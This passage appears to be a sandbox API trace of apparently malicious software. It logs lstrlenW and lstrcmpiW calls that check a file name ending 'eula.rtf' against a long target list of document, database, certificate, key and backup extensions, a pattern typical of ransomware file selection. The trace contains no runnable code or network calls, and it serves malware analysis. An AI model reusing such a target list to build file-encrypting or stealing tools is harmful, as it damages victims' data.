[0086.789] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai") returned 3 [0086.789] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0086.789] lstrlenW (lpString=".ai3") returned 4 [0086.789] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai4") returned 4 [0086.789] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai5") returned 4 [0086.789] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai6") returned 4 [0086.789] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai7") returned 4 [0086.789] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".ai8") returned 4 [0086.789] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".anim") returned 5 [0086.789] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0086.789] lstrlenW (lpString=".arw") returned 4 [0086.789] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".as") returned 3 [0086.789] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0086.789] lstrlenW (lpString=".asa") returned 4 [0086.790] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".asc") returned 4 [0086.790] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".ascx") returned 5 [0086.790] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0086.790] lstrlenW (lpString=".asm") returned 4 [0086.790] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".asmx") returned 5 [0086.790] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0086.790] lstrlenW (lpString=".asp") returned 4 [0086.790] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".aspx") returned 5 [0086.790] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0086.790] lstrlenW (lpString=".asr") returned 4 [0086.790] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".asx") returned 4 [0086.790] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".avi") returned 4 [0086.790] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".avs") returned 4 [0086.790] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".backup") returned 7 [0086.790] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0086.790] lstrlenW (lpString=".bak") returned 4 [0086.790] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0086.790] lstrlenW (lpString=".bay") returned 4 [0086.791] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".bd") returned 3 [0086.791] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0086.791] lstrlenW (lpString=".bin") returned 4 [0086.791] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".bmp") returned 4 [0086.791] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".bz2") returned 4 [0086.791] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".c") returned 2 [0086.791] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0086.791] lstrlenW (lpString=".cdr") returned 4 [0086.791] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".cer") returned 4 [0086.791] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".cf") returned 3 [0086.791] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0086.791] lstrlenW (lpString=".cfc") returned 4 [0086.791] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".cfm") returned 4 [0086.791] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".cfml") returned 5 [0086.791] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0086.791] lstrlenW (lpString=".cfu") returned 4 [0086.791] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0086.791] lstrlenW (lpString=".chm") returned 4 [0086.792] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".cin") returned 4 [0086.792] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".class") returned 6 [0086.792] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0086.792] lstrlenW (lpString=".clx") returned 4 [0086.792] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".config") returned 7 [0086.792] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0086.792] lstrlenW (lpString=".cpp") returned 4 [0086.792] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".cr2") returned 4 [0086.792] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".crt") returned 4 [0086.792] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".crw") returned 4 [0086.792] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".cs") returned 3 [0086.792] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0086.792] lstrlenW (lpString=".css") returned 4 [0086.792] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".csv") returned 4 [0086.792] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".cub") returned 4 [0086.792] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0086.792] lstrlenW (lpString=".dae") returned 4 [0086.792] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dat") returned 4 [0086.793] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".db") returned 3 [0086.793] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0086.793] lstrlenW (lpString=".dbf") returned 4 [0086.793] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dbx") returned 4 [0086.793] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dc3") returned 4 [0086.793] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dcm") returned 4 [0086.793] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dcr") returned 4 [0086.793] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".der") returned 4 [0086.793] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dib") returned 4 [0086.793] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dic") returned 4 [0086.793] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".dif") returned 4 [0086.793] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0086.793] lstrlenW (lpString=".divx") returned 5 [0086.793] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0086.793] lstrlenW (lpString=".djvu") returned 5 [0086.793] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0086.794] lstrlenW (lpString=".dng") returned 4 [0086.794] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".doc") returned 4 [0086.794] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".docm") returned 5 [0086.794] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0086.794] lstrlenW (lpString=".docx") returned 5 [0086.794] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.794] lstrlenW (lpString=".dot") returned 4 [0086.794] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".dotm") returned 5 [0086.794] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0086.794] lstrlenW (lpString=".dotx") returned 5 [0086.794] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0086.794] lstrlenW (lpString=".dpx") returned 4 [0086.794] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".dqy") returned 4 [0086.794] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".dsn") returned 4 [0086.794] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".dt") returned 3 [0086.794] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0086.794] lstrlenW (lpString=".dtd") returned 4 [0086.794] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0086.794] lstrlenW (lpString=".dwg") returned 4 [0086.794] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".dwt") returned 4 [0086.795] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".dx") returned 3 [0086.795] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0086.795] lstrlenW (lpString=".dxf") returned 4 [0086.795] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".edml") returned 5 [0086.795] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0086.795] lstrlenW (lpString=".efd") returned 4 [0086.795] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".elf") returned 4 [0086.795] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".emf") returned 4 [0086.795] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".emz") returned 4 [0086.795] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".epf") returned 4 [0086.795] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".eps") returned 4 [0086.795] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".epsf") returned 5 [0086.795] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0086.795] lstrlenW (lpString=".epsp") returned 5 [0086.795] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0086.795] lstrlenW (lpString=".erf") returned 4 [0086.795] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0086.795] lstrlenW (lpString=".exr") returned 4 [0086.796] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".f4v") returned 4 [0086.796] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".fido") returned 5 [0086.796] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0086.796] lstrlenW (lpString=".flm") returned 4 [0086.796] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".flv") returned 4 [0086.796] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".frm") returned 4 [0086.796] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".fxg") returned 4 [0086.796] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".geo") returned 4 [0086.796] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".gif") returned 4 [0086.796] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".grs") returned 4 [0086.796] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".gz") returned 3 [0086.796] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0086.796] lstrlenW (lpString=".h") returned 2 [0086.796] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0086.796] lstrlenW (lpString=".hdr") returned 4 [0086.796] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0086.796] lstrlenW (lpString=".hpp") returned 4 [0086.796] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".hta") returned 4 [0086.797] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".htc") returned 4 [0086.797] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".htm") returned 4 [0086.797] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".html") returned 5 [0086.797] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0086.797] lstrlenW (lpString=".icb") returned 4 [0086.797] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".ics") returned 4 [0086.797] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".iff") returned 4 [0086.797] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".inc") returned 4 [0086.797] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".indd") returned 5 [0086.797] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0086.797] lstrlenW (lpString=".ini") returned 4 [0086.797] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".iqy") returned 4 [0086.797] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".j2c") returned 4 [0086.797] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0086.797] lstrlenW (lpString=".j2k") returned 4 [0086.797] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".java") returned 5 [0086.798] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0086.798] lstrlenW (lpString=".jp2") returned 4 [0086.798] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".jpc") returned 4 [0086.798] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".jpe") returned 4 [0086.798] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".jpeg") returned 5 [0086.798] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0086.798] lstrlenW (lpString=".jpf") returned 4 [0086.798] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".jpg") returned 4 [0086.798] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".jpx") returned 4 [0086.798] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".js") returned 3 [0086.798] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0086.798] lstrlenW (lpString=".jsf") returned 4 [0086.798] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".json") returned 5 [0086.798] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0086.798] lstrlenW (lpString=".jsp") returned 4 [0086.798] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0086.798] lstrlenW (lpString=".kdc") returned 4 [0086.798] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".kmz") returned 4 [0086.799] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".kwm") returned 4 [0086.799] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".lasso") returned 6 [0086.799] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0086.799] lstrlenW (lpString=".lbi") returned 4 [0086.799] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".lgf") returned 4 [0086.799] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".lgp") returned 4 [0086.799] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".log") returned 4 [0086.799] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".m1v") returned 4 [0086.799] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".m4a") returned 4 [0086.799] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".m4v") returned 4 [0086.799] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".max") returned 4 [0086.799] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0086.799] lstrlenW (lpString=".md") returned 3 [0086.799] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0086.799] lstrlenW (lpString=".mda") returned 4 [0086.799] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mdb") returned 4 [0086.800] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mde") returned 4 [0086.800] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mdf") returned 4 [0086.800] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mdw") returned 4 [0086.800] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mef") returned 4 [0086.800] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mft") returned 4 [0086.800] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mfw") returned 4 [0086.800] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mht") returned 4 [0086.800] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mhtml") returned 6 [0086.800] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0086.800] lstrlenW (lpString=".mka") returned 4 [0086.800] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mkidx") returned 6 [0086.800] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0086.800] lstrlenW (lpString=".mkv") returned 4 [0086.800] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mos") returned 4 [0086.800] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0086.800] lstrlenW (lpString=".mov") returned 4 [0086.801] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mp3") returned 4 [0086.801] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mp4") returned 4 [0086.801] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mpeg") returned 5 [0086.801] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0086.801] lstrlenW (lpString=".mpg") returned 4 [0086.801] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mpv") returned 4 [0086.801] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mrw") returned 4 [0086.801] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".msg") returned 4 [0086.801] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".mxl") returned 4 [0086.801] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".myd") returned 4 [0086.801] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".myi") returned 4 [0086.801] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".nef") returned 4 [0086.801] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".nrw") returned 4 [0086.801] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".obj") returned 4 [0086.801] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0086.801] lstrlenW (lpString=".odb") returned 4 [0086.802] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".odc") returned 4 [0086.802] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".odm") returned 4 [0086.802] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".odp") returned 4 [0086.802] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".ods") returned 4 [0086.802] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".oft") returned 4 [0086.802] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".one") returned 4 [0086.802] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".onepkg") returned 7 [0086.802] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0086.802] lstrlenW (lpString=".onetoc2") returned 8 [0086.802] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0086.802] lstrlenW (lpString=".opt") returned 4 [0086.802] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".oqy") returned 4 [0086.802] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".orf") returned 4 [0086.802] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".p12") returned 4 [0086.802] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0086.802] lstrlenW (lpString=".p7b") returned 4 [0086.802] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".p7c") returned 4 [0086.803] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pam") returned 4 [0086.803] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pbm") returned 4 [0086.803] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pct") returned 4 [0086.803] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pcx") returned 4 [0086.803] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pdd") returned 4 [0086.803] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pdf") returned 4 [0086.803] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pdp") returned 4 [0086.803] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pef") returned 4 [0086.803] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pem") returned 4 [0086.803] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0086.803] lstrlenW (lpString=".pff") returned 4 [0086.804] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".pfm") returned 4 [0086.804] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".pfx") returned 4 [0086.804] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".pgm") returned 4 [0086.804] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".php") returned 4 [0086.804] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".php3") returned 5 [0086.804] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0086.804] lstrlenW (lpString=".php4") returned 5 [0086.804] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0086.804] lstrlenW (lpString=".php5") returned 5 [0086.804] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0086.804] lstrlenW (lpString=".phtml") returned 6 [0086.804] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0086.804] lstrlenW (lpString=".pict") returned 5 [0086.804] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0086.804] lstrlenW (lpString=".pl") returned 3 [0086.804] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0086.804] lstrlenW (lpString=".pls") returned 4 [0086.804] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0086.804] lstrlenW (lpString=".pm") returned 3 [0086.804] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0086.804] lstrlenW (lpString=".png") returned 4 [0086.804] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".pnm") returned 4 [0086.805] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".pot") returned 4 [0086.805] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".potm") returned 5 [0086.805] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".potx") returned 5 [0086.805] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".ppa") returned 4 [0086.805] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".ppam") returned 5 [0086.805] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".ppm") returned 4 [0086.805] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".pps") returned 4 [0086.805] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".ppsm") returned 5 [0086.805] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".ppt") returned 4 [0086.805] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.805] lstrlenW (lpString=".pptm") returned 5 [0086.805] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".pptx") returned 5 [0086.805] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0086.805] lstrlenW (lpString=".prn") returned 4 [0086.805] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".ps") returned 3 [0086.806] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0086.806] lstrlenW (lpString=".psb") returned 4 [0086.806] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".psd") returned 4 [0086.806] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".pst") returned 4 [0086.806] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".ptx") returned 4 [0086.806] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".pub") returned 4 [0086.806] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".pwm") returned 4 [0086.806] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 